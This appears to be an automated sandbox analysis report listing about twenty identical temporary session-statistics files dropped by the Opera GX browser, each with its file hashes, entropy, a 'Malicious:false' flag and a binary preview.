                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d7093.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d71ac.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d71eb.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d721a.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d7834.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d799c.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d7ae4.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d7c0d.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d7c5b.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8312.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8340.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d837f.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d85c1.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d85d1.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d85f0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8719.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3d8dc0.TMP (copy)

                                                                                                                                                                                                              Download File
